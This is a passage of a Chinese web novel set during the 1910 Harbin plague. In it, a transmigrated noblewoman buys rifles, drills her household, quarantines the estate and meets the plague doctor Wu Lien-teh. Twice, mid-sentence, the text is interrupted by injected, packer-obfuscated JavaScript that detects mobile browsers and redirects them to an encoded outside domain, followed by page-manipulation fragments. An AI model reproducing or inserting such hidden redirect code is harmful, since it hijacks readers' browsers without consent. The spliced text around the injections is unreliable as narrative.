金显珏找来采办:“你知道上哪儿能买到德国枪吗?”
站在她身边的玉霄震惊地看着金显珏,她的脑子里还在走宅斗流程。
我的老天爷!
都说人死过一回,心性会有所改变。
倒也不至于变得这么快……从被别人气得上吊,突然变成准备买·枪,屠了全家吧?!
等采办走后,玉霄压低声音:“姑娘的想法,倒也不是不行,只是,把人杀了以后怎么办?马上就是冬天了,土很难挖开,河也冻上了,冰层太厚不好弄开,尸体怎么办。”
“烧了不就行了?”金显珏轻描淡写地回答,苏老爷的尸体还要顾忌一下家属情绪,抢劫犯哪里来的人权,他们的家属不配有情绪!
玉霄轻声:“可是,那烟也太大了吧……”
弄死家里人,不都是悄悄地扔井里吗?烧人,动静太大了。
金显珏不以为意:“城外那么多荒地呢,怕什么烟?”
“那……不是惊动的人太多了吗?”玉霄越发震惊。
金显珏觉得她的想法很奇怪,古代行刑不都是在大庭广众之下吗?
京城还在菜市口砍人脑袋呢,怎么杀抢劫犯还怕别人知道?
“惊动的人越多越好,我就是要让人看看,我不是好惹的!”金显珏的话,掷地有声。
玉霄以前只知道几个亲王家的福晋为了夺权、上位,弄小巧,玩阴私手段,害人流产、污人私通。
从未见过如此明目张胆,亲自动手要人性命的,不愧是猎户的女儿!
玉霄想了想,又问:“可是,如果官府那边问起来……”
“他们犯了抢劫罪在先,按大清律令,我打死他们不犯罪,何况,我还是格格!”
哦~~~原来是要先栽她们一个抢劫罪!
想得真周全!
玉霄肃然起敬。
4. 第 4 章
“有钱就可以为所欲为吗?”
“Sorry啊,有钱真的可以为所欲为~”
有时候这句话也不是总那么管用的,比如现在……
金显珏看着买办从沙俄商人、犹太商人那里搞来的样品,全都是半自动步·枪和手·枪,打一下,就要装一次子弹,就连发性而言,甚至混得还不如诸葛连弩。
她的眉头就一直皱着没松下来过:
“是你在糊弄我,还是他们在糊弄你?我让你买好枪,你给我弄这种东西来?”
买办陪着笑脸:“少奶奶,这真的已经是最好的了。”
“就没有连发的?比如,手指往上一搭,就能清空弹匣的那种?”她确定现在绝对有,比如大慈大悲马克沁。
买办感到很冤,明明就是少奶奶自己说要“越快越好”,他完全是按吩咐做的:“您说的那种,我也打听了,太贵了,都没有现货,他们说,如果您要,就得付全款,然后他们再从海外贩过来,路上起码得走三个月……还有子弹的价格……”
其实早在1884年,马克沁开新品发布会的时候,李中堂就去参展了。
子弹如雨落,生生打断了大树,让李中堂大为震惊,直呼“太快,太快”“太贵,太贵。”
手指一搭,按照马克沁的射速,一分钟几十两银子就射出去了。
后来李中堂买了几挺带回国,让人仿制,金陵制造局成功了,却依旧没有做到把价格打下来,老佛爷也不肯过简版六十大寿,朝廷没钱,就算了。
当然,也有通过关系和野路子搞来样品的私人小作坊仿制,可惜仿的质量一言难尽,炸膛伤人的成功率比子弹射出去打死人的成功率高多了。
马克沁爵士如果还活着,看见它,都绝对不会想着起诉它侵权,只会表示这根破棍子跟我一便士的关系都没有!!!
苏家的钱大概能供得起一两支马克沁,但是,金显珏等不了四个月那么久。
她也只得退而求其次,选择这些半自动枪。
买了枪,还得修墙,不然无凭无依,人一涌进来,就结束了。
金显珏叫来管家铁柱,让他安排工匠把外墙、所有门,包括内宅通向外宅的门,都要检查一遍,务必结实耐锤,她要亲自检查,要是检验的人撞两下,门就塌了,铁柱要负全责。
管了硬件,还要管软件。
金显珏抓了两次上夜的人赌博、睡觉、喝大酒,也不管这些人的身份,一视同仁地处罚。
连闻夫人都觉得金显珏太激进了,过来劝她:“水至清则无鱼,你管得太严,会让他们害怕,怨恨,该松的时候就该松一松,你刚才抓的那个袁大娘,家里几代人都在我们这里了,我做主,你就把她放了吧。”
“太太是要做人情?”
闻夫人笑道:“她不过是走开了一阵子,扣她一个月银米是不是太多了……”
“她是在西北角门上夜的,整整脱岗了二十分钟,没有人知道她去了哪里,那里就一直空着没人,要是有人从那里闯进来呢?一院子的女眷岂不是要遭殃?要是不罚她,以后人人照办,还怎么服众?”
金显珏这番话意思就是“你要放她,以后这个家就要完蛋!”
实在是太直白了,毫无情商可言,也没有给闻夫人一点台阶下。
闻夫人好歹也是在苏家待了半辈子,始终谨小慎微,好不容易媳妇熬成婆,怎么来了一个媳妇,比她还要嚣张。
大概,这就是高娶的代价吧……礼亲王家的家教就是这样。
站在一边的玉霄听得心惊胆战:“果然是乡野村夫的女儿,太敢说了。”
她绝望地想,礼亲王一脉就是因为江河日下,才会跟有钱无权的苏家联姻,就是指着嫁女儿能让两家拧成一股绳,如今看来……两家关系迟早毁在这个村女的手上。
不行,得有人从中调解调解,陪嫁丫头除非主母决定打发走,否则是要跟着主母在夫家待一辈子的,要是婆媳关系紧张,她也没好日子过。
玉霄忙陪笑道:“太太莫怪格格,她也是担心。前些年,睿亲王府确实出过这类事。守内宅角门的婆子吃坏了肚子,便自顾自的跑了,内院的丫环勾着外人进来,从福晋房里搬走了好几件体己卖去琉璃厂,被人发现以后,那贼人还说是福晋所赠,可怜福晋自王爷去后,守贞数十年,却被人如此污蔑……”
她尽量把事情后果严重化、惊悚化,就算闻夫人有心做好人,也不敢拿自己的名声和安危去赌。
“没想到连王府也会出这样的事,真是可怕。”闻夫人放缓了口气,自己给自己递了个台阶下。
玉霄用力点头:“正是呢,所以,我们格格也是担忧会有同样的事情发生,才会反应这么大。”
人家丫环如此努力的找补,就算金显珏不喜欢搞人情世故、高情商,多少也得说点什么,不然岂不成弱智了。
金显珏放柔了声音,满脸哀怨:“我们王府何尝不是呢,自道光爷年间,便已一日不如一日,嫡母心慈手软,外头朝廷的供养还没断,内宅乱成一团,我看在眼里,急在心中,可惜我是个女儿,有心无力。
如今连朝廷都要革新、变法,就算是老资格的皇亲勋贵,如果不利于朝廷,也断断是不能用的。
既然如今我是苏家的儿媳,自然要以苏家为重,别人家走过的弯路,咱们何必还要再走一遍呢?
夫人若是担心旁人说三道四,尽可以都说是我做的,绝不会有损夫人仁和体下的清誉。”
“若是那样,我成什么人了。”闻夫人笑着摇头,“我明白你的意思,只是,我还是那句话,管人当宽严并济,一味的严了,便无人可用,或是下人离心,迟早生出事来。”
“是。”金显珏痛快地应了一声,然后,她拿出采办给的枪支报价表:“太太,您看这些枪如何?若是没有什么问题的话,我就让人买回来了。”
闻夫人十分惊讶:“好好的,买这么多枪做什么?”
“老爷仙逝,靖云没回来,且不说家里没有一个主事的男人,就算有男人,也不如有枪好使,枪在手,便是有虎豹豺狼也不怕。”
闻夫人十分忧虑:“要是枪被人抢了,岂不是更受害?”
熟悉的论调,加害者必然牛逼逆天,力臂千斤,能把受害者手里的刀枪棍棒全抢了。
受害者就应该乖乖躺平了,任凭对方为所欲为,免得受到更大的伤害。
大清也是这么想的。
洋人不过是要钱、要边角小地方而已,千万不能反抗。
万一反抗了,激怒了洋人,他们的坚船利炮来了,直接改朝换代,王公大臣们再也过不上优渥的生活,那可怎么好。
金显珏微笑道:“夫人此言差矣,就算是三岁小孩手里拿着刀子胡乱挥舞,我也不敢随便靠近呢。”
她在心中暗自嘀咕:只要别半路突发癔症,敌人还没处理干净,就把武器往地上一扔,哭着喊着满世界找男人。
哪有那么容易就被缴了械,何况这还是枪,是远程武器!
旁边的玉霄也跟着帮腔:“我昨日去厨房见他们杀鸡,那尖尖的嘴、尖尖的爪子,看着好生吓人,我连院门都没敢进。”
闻夫人还担心另一件事:“光有枪也不成呀,合家上下都没有人会。”
“我会!我阿玛带我打猎的时候,用的就是枪!虽然型号不一样,但大致是不差的。
老毛子说了,只要我们买他的枪,可以免费教,学的时候使用的子弹,都算是他免费赠送的,以后买子弹也能给咱们老客价,这么算下来,比别家便宜四成呢!还有保养用的枪油也送、还送夜间练习要用的火油和风灯呢!本来说送六个,赵买办说可以谈到十个……”
金显珏双眼炯炯放光,头顶仿佛飘过一行大字——不买就是亏!!!
闻夫人还不知道有句话,叫做:不买立减百分百。
她已经被金显珏的逻辑绕进去了,脑子里都是买什么什么、送多少多少。
当然,最重要的是,她也觉得枪是有用的,苏老爷在世的时候,就曾经对她说过在外面行商时遇到的麻烦和刁难,他甚至都被山匪绑到过寨子里。
男人被绑进寨子,哪怕遇到了真有龙阳之好的土匪,也无所谓,没人觉得有什么关系。
女人被绑进寨子,会被唾沫星子淹死,除非能在被抢之前就自杀,否则,就算从寨子里出来立刻自杀,也一样会令家族蒙羞。
所谓寡妇门前是非多,她是真寡妇,儿子又不回来,万一真有不怀好意的歹人,还得手里有家伙才好。
·
·
半自动枪是有现货的,就在哈尔滨的仓库。
也幸好有现货,否则,她的枪会卡在满洲里,运不进来。
枪到了之后,金显珏马上要求进行培训,说苏府里身体健康的男女都可以去学。
丫环们平时不怎么出门,夫人、姨娘们的贴身丫环更是连刀都没握过,平时拿得最重的东西就是食盒、食盘。
听说要去学枪,男仆们兴奋不已,跃跃欲试,丫头们犹犹豫豫,不少人觉得学这种能杀人的东西,会影响她们身为女子的温柔气质,会让男人感到害怕,听说手上还会长出枪茧,多难看呀,以后会不会找不到婆家。
看少奶奶,礼亲王家的格格,不就嫁到苏家来了吗?
士农工商,苏家所在的“商”可是最底层,一定是她在京城里找不到婆家,才不得不嫁到过来的。
金显珏猜到会有这样的结果,她并没有要求所有人必须去,心里特别抵触的人,根本就不会好好练。
就像公司团建搞户外拓展,老板花了钱,其实并不能让员工放弃抢功、夺位、团结起来为他好好工作。
唯一的价值就是让那些被迫在休息日参加团结的员工们,暂时团结起来,一起骂他。
生死由命,富贵在天,马上就要天下大乱,她自己能不能保得住还难说,放下助人情结,尊重他人命运。
·
·
苏家的大宅离松花江不远,练枪的地点也被安排在江边。
玉霄手里握着毛瑟枪,躲在树后避风。
她其实也不喜欢练枪,天气很冷、枪很重,手指都被冻僵了。
但是她身为少奶奶的陪嫁侍女,都不带头执行,少奶奶就更没权威了,少奶奶没权威,她身为少奶奶的人,也得不了好。
这一开枪,就发现,玉霄是真有天赋。
尽管她是不情不愿来的,也还是比普通人
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16427456|184848||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
厉害,她第一回闹不明白枪有后座力,有一半都脱靶了,第二回全部打中,第三回发挥稳定,离目标的误差不会超过两厘米。
金显珏自己也顶着寒风跟着一起练,特别积极,好像子弹快要过期似的,连续不断开枪、装弹、一枪接一枪,就没歇过。
看着他们打出去的子弹,沙俄商人索金斯心疼坏了,他以为这种鬼天气不会有人愿意来的,只要没有主家盯着,随便放几枪,就可以散了。
谁知道金显珏这么一个当家少奶奶居然不顾身份,也跑出来了。
突然降临的风雪,都挡不住她的兴致,商人劝她进屋歇着,暖和暖和,她说要试试雪要是化在枪口里,会不会让枪支失灵。
索金斯百思不得其解:不是说这些枪是看家护院用的吗?苏家的哨台都是小屋子,遮风挡雨,怎么会让枪被淋湿。
想归想,他并没有说出来,就算顾客在他这消费,是为了抢金店,那也不关他的事,反正她要是企图作奸犯科,也不会说实话。
知道太多,反而不安全。
此时的松花江,表面结了一层薄冰,冰下依旧能看到江水流动,旁边有几个男仆举着石头往江里扔,“扑通”“扑通”冰层裂开,石头沉底……
索金斯忽然觉得背后直冒寒气,转头一看,金显珏正笑吟吟地看着他,仿佛不经意地提问:“听说你们家乡的人冬天会把厚冰层砸开,然后下水游泳?你也喜欢冬泳吗?”
“不不不不不!!!!”索金斯把头摇出了残影。
·
·
第一天,练枪。
第二天,练枪。
第三天,上午练枪,下午练习列阵。
这些枪都是放一枪就要再拉一次枪栓的破玩意儿,如果冲来的人太多,就得安排有人轮替,不然大家站一排,子弹放完,一起完蛋。
“站三排,第一排的人打完退到后面,拉栓装弹……”
听起来很简单,不说清楚往左走还是往右走,人们只会胡乱瞎走,比如还有“抄近路”的人,直接转身,从第二排和第三排的队列中间挤过去,第二排的人站得好好的,被挤乱,骂的、推的、吵闹的,比小学生放学还乱。
金显珏不得不像幼儿园老师那样,每一点细节都要说清楚:怎么撤到后面,填弹拉栓的时候,枪口不能对着人。
话音刚落,她的眼角就瞥见一个小厮调转枪口,将枪口对着自己的眼睛,手指缓缓按下扳机。
金显珏大惊,一巴掌打在他的右手上,他的手猛然一晃。
“啪!!!”子弹射出枪膛,打中了不远处的一棵树,树枝“咔嚓”折断,落在地上。
有好事者跑过去,将树枝捡回来,调笑道:“铁蛋的枪法真准!”
铁蛋不过十六七岁,哪里见过这场面,整个人都吓得僵住了,嘴巴半张,眼睛瞪得老大,直勾勾地看着那根跟自己手腕差不多粗的树枝,大脑一片空白。
铁蛋的父亲老根就站在旁边,那是一个三十多岁的男人,刚才他也看见儿子拿枪对着自己眼睛按扳机,他想阻止,可是已经来不及了。
幸好少奶奶反应快,将枪口打歪,他三步并作两步赶过来,抬手对着铁蛋的脸狠狠抽了一记耳光,又对着他的腿踹了一脚,将人踢倒后,尤不解气,还要追着打。
“住手!”玉霄厉喝道,“少奶奶面前,岂是你放肆的地方!”
老根扑通跪下,对着金显珏连连磕头:“多谢少奶奶救我儿子一命!您刚说过不能对着人,他……哎,他就是个虎逼哨子!”
一边说着,一边转头让铁蛋过来:“快跪下,给少奶奶磕头!”
除了确实感激之外,老根还怕金显珏要以不听话为由,重重责罚铁蛋。
这位新来的少奶奶,实在太猛了,说上吊就上吊,救过来以后,说管事就管事,说一不二,陈庄头父子弄手脚的事,府里的人其实都知道,偏她把这事揭出来了,管家不得不重罚了两人。
就连太太想保的人,她都硬给挡了回去,按家规处置。
今天,铁蛋也算是违了她的命令,还不知道会被怎么处置,老根心里十分惶恐。
“行了,起来吧,他刚学,还不熟,难免出错,何必苛责。”
老根父子不敢相信金显珏居然没有一丁点责怪他的意思,居然还让老根不要苛责。
如果这话是从闻夫人嘴里说出来,那很正常,闻夫人就是个好脾气的大菩萨。
这可是少奶奶,被下人传说是罗刹鬼的少奶奶。
·
·
一共训练了九天,天天从早到晚噼里啪啦,硬是没人来管。
因为清廷在哈尔滨的统治力,仅限于收税。
真正管事的是沙俄,他们的势力随着中东铁路的修建,渗透在哈尔滨的角角落落。
金显珏的枪是找沙俄商人索金斯买的,培训也是他组织的,他自然跟沙俄在哈尔滨的话事人通过气了,没人会过来找麻烦。
第十天,众人像前几天一样,穿上厚衣服,准备去枪房领枪,再去江边训练。
早上出去办事的人回来了,带回了一个消息——
傅家甸那里有一家子十几个人全死啦,尸体上都是黑斑,可怕极了!!!
5. 第 5 章
“从今天开始,所有人不准出门。今天出去过的人,都先住到东边的院子里,不准与院子里的其他人往来,七天以后才能回自己屋。”
金显珏的一道命令下来,让整个苏宅炸了锅。
今天早上出去的人不少,有为自己买早点的、有为府里采购的,还有仆人住在苏府大门外面,平日每天当值了才进来上工。
苏宅的房子很多,东边的院子地方够大,只是房间没有那么多,金显珏让人用厚的防水布将房间隔出一个一个的小间,让他们住进去。
有不少人在自己家里好歹也是一人一间的待遇,如今忽然要跟这么多人挤在一个房间里,虽然有布隔着,但是隔壁人打嗝、磨牙、放屁、说梦话的声音都能听见,这让他们如何受得了。
本来就住在苏宅里的仆人们也议论纷纷,不让出门这是怎么回事?
少奶奶也不说什么时候可以出去,有人壮着胆子去问,金显珏告诉他们等消息。
还有一个多月就要过年了,谁家过年不走亲戚?
就算是家生子,也有嫁出去的亲戚啊,哪能就烂在苏宅里了。
金显珏将府里管事的男人和女人都召集到大厅里,告诉他们原因:
“傅家甸死人了,照那死状看,应该是鼠疫,染上鼠疫,九死一生,你们也不想被外面来的人染上病吧?”
管家和管家媳妇们满脸困惑,他们知道鼠疫,毕竟离蒙古很近,每年总有那么零零星星听到。
可是,鼠疫,它首先得有鼠,而且是满街蹿的野鼠。
现在连松花江都开始上冻了,老鼠们也不是傻子,都在有吃有喝的人类家里蹲着过冬呢,谁要出去受冻,外面堆生活垃圾的地方都没老鼠,干干净净的。
“少奶奶,傅家甸那家人还不知道到底是怎么死的,脖子上有黑斑也不能说明一定就是鼠疫。”
“是啊,外面都好好的,今天早市热闹的很呐,什么事都没有。”
……
金显珏等他们说完,缓缓开口:“我不是跟你们商量,我是通知你们。”
“如果谁一定想要出去也可以,就算是卖倒的死契,我也可以还给你们,出去就不用回来了。”
站在大厅里的人,你看看我,我看看你,不再说话了。
苏家财大气粗,平时工资高不说,到了年节还会给相当丰厚的节礼和赏赐,放眼整个哈尔滨,实力能与苏家一较高下的,就只有那些沙俄贵族、犹太富商了。
但是那些人家,不是语言不通、生活习惯不一样,难伺候的很,就是家里有钱却舍不得给下人,小气抠门。
苏家算得上是整个哈尔滨中国人当仆佣的顶尖雇主了。
谁也舍不得走。
早有人将少奶奶不让人出去的事情,添油加醋告到闻夫人面前:“少奶奶替太太分忧,管管家里的事固然是好的,可是,少奶奶到底年轻,胆小,听风就是雨,哪年冬天外面不死人,如何就因此不出门了,若是不出去,吃穿用度如何来?”
这已经是说得客气了,更多的人在猜测,少奶奶还是在立威,急着抢管家权。
插手置办过冬食物是第一步,是试探闻夫人管不管她。
找人弄枪是第二步,她给那些会用枪的人更多的月钱,那些人现在对少奶奶可亲近了。
现在,不让人出门是第三步。
几个仆佣凑在一起嘀嘀咕咕:
“我听过一出戏,是说草原上的什么王子,要求他的箭射到哪里,士兵的箭也必须跟着射到哪里,不跟着他的箭行动的兵,都会被他砍头。他的第一箭射向马,第二箭射小老婆,第三箭射他爹,就这三箭,他就弄死了老皇帝,自己当上了皇帝……我看少奶奶是有效仿之心啊。”
“哎哟,那可得赶紧告诉太太去。”
“告诉有什么用,太太也是个耳根子软的,什么都听她的,上次找太太求情的袁妈,可得了什么好?该扣的钱,该挨的打,一点没少。”
后宅女人的权力首先来自于丈夫和儿子,如今苏老爷死了,苏少爷在外面浪着,就是不肯回家。
其次,来自于传统礼法,就连皇帝也得听妈妈的话,慈禧老佛爷能掌控同治、光绪、宣统三朝的军国大事,无非一个“孝”字。
可是少奶奶……已经将闻夫人的要求顶回去好几回了,而且是硬顶,一点技巧都没有……
第三,便是来自于娘家。
闻夫人的娘家早已势微,而少奶奶的娘家虽然跟吉祥物差不多,但到底是个铁帽子王,只有另外七家铁帽子王可以小瞧他们,普通人家谁敢。
以及,闻夫人毕竟老了,少奶奶才是将来当家的人。
当年和珅不知死活,一心只抱抱着乾隆爷的大腿,不去讨好嘉庆爷,结果呢,横行一生,最终落了个什么下场。
仆人们商量一番的结果是:听少奶奶的。
少奶奶是皇家血统,身份到底高一些。
就算是苏老爷,在礼亲王面前也矮一头呢。
他们听少奶奶的话,天经地义!
……才不是因为府里的火枪队都听少奶奶的。
·
·
第一天,无事发生。
第二天,无事发生,但有人生病了。
第三天,傅家甸有十几户人家死绝,但苏家人并不知道。
第五天,一大清早,大门不出二门不迈的苏家人隔着围墙,就听见外面哭声震天。
苏家旁边的两条街在短短一天之内,出了四趟殡。
整条街哭声震天。
有好事的小子爬到墙头往外看,只见光秃秃的大地上,黄色白色的纸钱铺满了一路,街上乱哄哄的,都是穿着麻衣、头戴孝帽的人。
这些死者死状高度相似,尸体上都有黑斑。
有眼尖的小子大呼一声:“哎?那不是老孙头的孙子吗?”他伸出手,对凑在人群旁边的一个五六岁的小男孩叫唤:“小宝,过来,过来……”
老孙头是给苏家的马送草料的,经常来往,与后门的人都相熟。
他的孙子小宝生得白白胖胖,十分可爱,有时候跟着老孙头一起来,苏府的人喜欢拿糖和果子逗他玩。
小宝抬头看见是熟人趴在墙头上叫他,立马颠颠地跑过去了。
小厮问道:“哎,那边的,是你们家的吗?”
小宝点点头:“对,我爷爷死啦。”
他还不知道什么叫“死了”,以前老孙头也会隔两三个月就出去几天,去草场看生长情况,收购草料。
甚至觉得家里闹哄哄地,又是请道士作法,又是停灵、摔盆、供香什么的挺有意思。
苏家小厮大惊:“啊?!!怎么回事?前些天见着还好好的。”
“是黑脖子病。”
“黑脖子病是什么?”
小宝对着自己的脖比比划划:“爷爷的脖子,全都黑啦。”
·
·
这么近的距离出现病死的人,苏家上下再也没有一个人再对少奶奶的禁令有什么意见了。
他们无比庆幸少奶奶见微知著,当机立断,不然按照往年的习惯,现在还没有开始囤菜,他们必须每天为了柴米油盐酱醋茶出门。
在苏家人待在安全的大宅里,吃着提前囤好的食物时,外面已经天下大乱。
鼠疫带来的死亡不是一个接一个,而是一群接一群。
依托中东铁路而繁荣的傅家甸变得安静,满是奢华洋行的中央大街也空无一人。
只有圣·尼古拉教堂里人头攒动,坐满了前来祈祷和忏悔的人们。
里面不仅坐着沙俄人,还有中国人。
反正都是神,管它是哪家的神,拜完佛祖菩萨,再拜拜上帝,谁知道最后显灵的会是哪位。
没有用……完全没有用……
屋子里、路边,到处都能看到布满黑斑的尸体,今天去替别人收尸的人,过两天兴许就成为倒在地上的尸体之一。
东三省总督锡良派了两个北洋医学堂的医生过来防疫。
他们只知道引起死亡症状的病是鼠疫,便请锡良下令,要求全城灭鼠,家家户户行动起来,处决了近万只老鼠。
但是得病、死亡的人越来越多。
东北一直以来都有“五仙”信仰,老鼠正是其中的“灰仙”,有谣言说是有人打死了灰仙大姑奶奶最疼爱的小孙子,这是灰仙大姑奶奶的报复,不仅不应该捕鼠,还应该好吃好喝的把老鼠供起来,以消灰仙大姑奶
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16427457|184848||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
奶心头之恨。
锡良自然不相信这些,下令禁止造谣传谣,违者按妖言惑众处置。
但是光是不相信没有用,拿不出解决办法,谣言只会越传越多。
黑色的死神不仅在东北肆虐,更随着大量准备回老家过年的人扩散至长春、奉天。
让清廷重视起这场瘟疫的真正原因是外务大臣施肇基接到的消息。
疫情爆发月余,没有任何控制的迹象。
驻哈尔滨的沙俄领事馆和日本领事馆多次向锡良施压:“你们不在乎你们的人死活,我们在乎我们侨民的命!你们能不能管?管不好,就把主权让出来,给我们管!”
此前签的各种条约,割的那么多地,对于清廷来说不过是“边陲之地的穷乡僻壤”,卖就卖,压力不是很大。
东北可让不得,那是大清的龙兴之地,让出去就是丢了祖宗基业,性质严重。
·
·
锡良双眼放光,他收到北京来的电报,说朝廷已经派出了“东三省防疫全权总医官”,即将抵达哈尔滨。
1910年12月24日,锡良满怀期待地在火车站迎接总医官大人。
当他看清从火车上下来的人之后,充满希望的眼神熄灭了。
就……两个人?
一个叫伍连德,很年轻,长着中国人的脸,却不会说官话,只会英语和粤语。
另一个叫林家瑞,更年轻,是伍连德的助手兼翻译。
这跟锡良心中“满头白发、长着一大把白胡子”的神医完全不一样,太年轻了,中国有句俗话:嘴上无毛,办事不牢。
何况,治病讲的是“望闻问切”,这个总医官大人连北方话都不会说,要怎么治病啊?
只不过锡良也实在是没办法了,除了伍博士之外,其他人听说这病的致死率是九成,根本就不敢来,伍博士是自愿来的,冲着这一点,也不能让人寒心。
锡良表示,不管伍博士提出什么要求,他都愿意全力配合。
然而,伍博士提出的第一个要求,他就配合不了,伍连德说要找个病死的尸体解剖,确定真正的死因。
然而,别说是大清年间,就算21世纪,哪怕死者的死因有些蹊跷,很多家属也不同意解剖。
无主的尸体也不能解剖,连锡良也不敢强行下令。
1870年的“天津教案”就是因为天津挖出了尸体,于是民间盛传洋人摘中国人身上的器官做药。
后来各种巧合的事件相叠,导致民众杀洋人、烧教堂。
被派去处理这事的曾国藩知道洋人不好得罪,他的处理方式激起了全国民愤。
然后,老佛爷抬手就把负责处理此事的曾国藩给处理了。
前车之鉴,锡良生怕激起民变,他不想背这个锅。
伍连德很苦恼,剑桥再厉害,也没教过他如何凭空诊断病因。
他带着林家瑞在哈尔滨的大街小巷走动,一面查看疫情扩散情况,一面希望能找到同意解剖尸体的人家。
走了大半天,伍连德又累又渴,如果是往日,他随便去一户人家讨碗水喝,完全不是问题,可是现在,一条街上家家门户紧闭,目光所及之处,门上不是贴着白联,就是挂着白灯笼,真正是万户萧疏鬼唱歌。
他俩不知不觉走到一户大宅,这宅子门上没有白布、白联、白灯笼,仔细听听,里面甚至还有欢声笑语,与外面的世界一比,简直就是世外桃源。
林家瑞便上前敲门,有人过来应声,但门没有开:“谁啊?”
林家瑞清了清嗓子:“东三省防疫全权总医官伍连德大人奉旨到此防疫治病,快开门。”
苏家的门房扒着门缝看了一眼,只见两个年轻人站在门口,既无车马,也无轿辇,实在对不起“东三省”“全权总医官”“大人”这三个响亮的名号。
他只当两人是来骗吃骗喝的骗子,更怕他俩是山里土匪的探子,便出声赶人:“走走走,我们家没人生病,不用防疫治病。”
林家瑞还想再说点什么,被伍连德拉住:“算了,回去喝吧。”
两人继续往前走,已经快要看到不苏宅的高墙了,忽然听见背后有脚步声急速奔来:“是伍大人吗?我家少奶奶有请。”
6. 第 6 章
在正厅里,伍连德见到了金显珏,玉霄为两人奉上刚刚泡好的茶。
“伍大人一路辛苦了。”金显珏微笑道,“听说大人是来治鼠疫的,可有什么进展?”
林家瑞将这句话翻译成英文,伍连德苦笑着摇摇头:“到现在我都不能确定是哪种鼠疫。”
林家瑞又翻译成中文,金显珏直接用英文询问:“没有从死者身上获得什么信息?”
伍连德有些意外:“你会英文?”
“我的父亲很羡慕会说英文的德龄荣龄姐妹,所以也让我学了一段时间,只会一些,不多。”金显珏将话题扯回鼠疫上,“你现在遇到的是什么问题?”
伍连德把没有人同意解剖尸体的事情告诉她,还说就连锡良都不敢拿出封疆大吏的款儿来强迫民众同意解剖,生怕引起民变。
如果哈尔滨出了民变,那么日本和沙俄两国就可以用保护侨民的借口,出兵入侵。
锡良只是怂,但不想背上卖国贼的名头。
无论如何,在他的任上,不能让洋人占了他的辖区。
金显珏想了想:“问题不大,不解剖中国人就行了。”
伍连德面露难色,说得容易,且不说病死的人最多的是中国人,就算是有日本人和沙俄人感染,他们的家人也不能同意被解剖啊。
全世界能大大方方接受把自家亲人解剖的,大概只有非洲的某些部落。
他们寄托对死去亲人哀思的方式,就是把他们的尸体吃下去,让他们与自己融为一体。对他们来说,把亲人埋在深不见底的土里才是惊悚的没人性操作。
金显珏:“有跟中国人通婚的外国人。”
与中国人结婚的外国人几乎都没有近支亲属在此,解剖他们也不会有人反对。
很地狱,但这是事实。
送伍连德出去的时候,金显珏对他说:“伍大人有任何需要帮助的地方,请尽管开口,凡我能帮上忙的地方,必会倾尽全力。”
伍连德十分意外,他只是想来讨一杯水喝,没想到却得到了这么大的承诺。
就连林家瑞都想不通金显珏为什么要这么做,总不能因为她是纯善吧?
这年月,还有这种一腔赤诚的人吗?
伍连德问金显珏想得到什么,他很担心金显珏会提出一个他支付不起的条件。
“伍大人生在马来亚,又在英吉利读书,与中国的关系仅仅是祖籍在中国,甚至都不在哈尔滨,我好歹在这里生活,既然伍大人都能不惜以身犯险,千里迢迢到这里来治病救人,我为什么不可以,难道伍大人认为女子本来就是心胸狭隘,不应心怀天下吗?”
这顶帽子扣得太大了,伍连德自己就支持女性应该出去读书,他赶紧解释自己不是那个意思,只是有些意外。
送走伍连德,金显珏叫来玉霄:“东厢房收拾好了吗?”
她要以身作则,这段时间谁有非得要出去不可的事、跟外人近距离说话,都必须去东厢房住七天,确定没有染上鼠疫才能住回自己的屋子。
东厢房的条件哪里能跟少爷的房子比,就连闻夫人都劝金显珏不用对自己都这么严格,金显珏隔着门对闻夫人说:“曹操的马踏了麦苗,尚要割发代首,治家如治军,不从自己做起,如何能立威。”
闻夫人对金显珏承诺的“只要能帮得上忙,必当倾尽全力”也感到不安。
现在苏家是全城最家大业大的家族,本来闻夫人就担心会不会有人打苏家的主意,结果金显珏居然还向伍连德说这么大的话。
所谓“兵过如梳,匪过如篦”,就连大清最顶尖的红顶商人胡雪岩都落得一个革职抄家的下场。
闻夫人是真的害怕,伍连德会捏着金显珏的承诺,要求苏家无止境的供给,最后疫情治理好了,苏家也败了,到时候她有何颜面去见苏老爷于地下,如何对得起列祖列宗。
面对她的担忧,金显珏解释道:“太太放心,伍连德不是这种人。”
“他生在番邦,长在番邦,你怎么知道他的心性?”
金显珏很难向闻夫人解释她对伍连德的一生都了如指掌:直到死,伍连德都说土地是给活人的,死人不应该占着,要求将自己火化,放进福建公墓。绝对干不出借疫情敛财的事情。
但是说大道理,普通人根本听不懂,雷锋那个年代的人已经算根正苗红,人均临死前要把所有积蓄当党费上交的水平,然而,连雷锋都会被人说成是傻子,何况现在。
金显珏便从最容易理解的角度解释:“如果他做得太过份的话,那就当不成人了。”
闻夫人一怔:“什么意思?”
“我阿玛说过,如果谁惦记上我们家的东西,就应该让他彻底消失,只有千日做贼,没有千日防贼,与其天天提心吊胆,不如一劳永逸,斩草除根!”
金显珏用最平静的语气,说着最惊悚的内容。
闻夫人都被她吓着了。
闻夫人身边的侍女把这话学舌给其他人听,整个府里的仆佣都倒吸一口凉气,谁家好姑娘动不动就要杀人呢。
除了玉霄之外,礼亲王府还有几个陪嫁过来的家仆,他们知道金显珏的真实身份是猎户家的女儿,便赶紧替她描补:
